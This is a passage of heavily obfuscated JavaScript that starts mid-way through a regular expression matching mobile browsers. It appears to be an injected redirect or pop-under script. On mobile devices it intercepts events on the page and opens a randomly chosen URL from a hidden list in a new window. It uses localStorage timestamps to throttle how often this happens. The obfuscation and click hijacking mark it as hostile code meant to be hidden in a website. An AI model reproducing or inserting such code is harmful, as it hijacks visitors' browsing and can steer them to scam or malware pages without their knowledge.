)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());